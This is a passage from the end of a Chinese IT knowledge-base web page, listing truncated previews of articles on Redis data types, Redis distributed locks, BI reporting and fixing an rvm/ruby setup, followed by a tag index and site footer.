2,运行在便宜的PC服务器集群上, 
3,击碎了性能瓶颈。 
1)对数据高并发读写。 
2)对海量数据的高效率存储和访问。 
3)对数据的高扩展性和高可用性。 
 
redis支持的类型: 
 
Sring 类型 
set name lijie 
get name lijie 
set na</div>
                                </li>
                                <li><a href="/article/3501.htm"
                                       title="使用redis实现分布式锁" target="_blank">使用redis实现分布式锁</a>
                                    <span class="text-muted">qifeifei</span>

                                    <div>在多节点的系统中,如何实现分布式锁机制,其中用redis来实现是很好的方法之一,我们先来看一下jedis包中,有个类名BinaryJedis,它有个方法如下: 
&nbsp; 
public Long setnx(final byte[] key, final byte[] value) {
	checkIsInMulti();
	client.setnx(key, value);
	ret</div>
                                </li>
                                <li><a href="/article/3628.htm"
                                       title="BI并非万能,中层业务管理报表要另辟蹊径" target="_blank">BI并非万能,中层业务管理报表要另辟蹊径</a>
                                    <span class="text-muted">张老师的菜</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/BI/1.htm">BI</a><a class="tag" taget="_blank" href="/search/%E5%95%86%E4%B8%9A%E6%99%BA%E8%83%BD/1.htm">商业智能</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8C%96/1.htm">信息化</a>
                                    <div>&nbsp; &nbsp; &nbsp; &nbsp;BI是商业智能的缩写,是可以帮助企业做出明智的业务经营决策的工具,其数据来源于各个业务系统,如ERP、CRM、SCM、进销存、HER、OA等。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BI系统不同于传统的管理信息系统,他号称是一个整体应用的解决方案,是融入管理思想的强大系统:有着系统整体的设计思想,支持对所有</div>
                                </li>
                                <li><a href="/article/3755.htm"
                                       title="安装rvm后出现rvm not a function 或者ruby -v后提示没安装ruby的问题" target="_blank">安装rvm后出现rvm not a function 或者ruby -v后提示没安装ruby的问题</a>
                                    <span class="text-muted">wudixiaotie</span>
<a class="tag" taget="_blank" href="/search/function/1.htm">function</a>
                                    <div>1.在~/.bashrc最后加入 
[[ -s &quot;$HOME/.rvm/scripts/rvm&quot; ]] &amp;&amp; source &quot;$HOME/.rvm/scripts/rvm&quot; 
&nbsp;2.重新启动terminal输入: 
&nbsp; 
rvm use ruby-2.2.1 --default 
&nbsp;把当前安装的ruby版本设为默</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>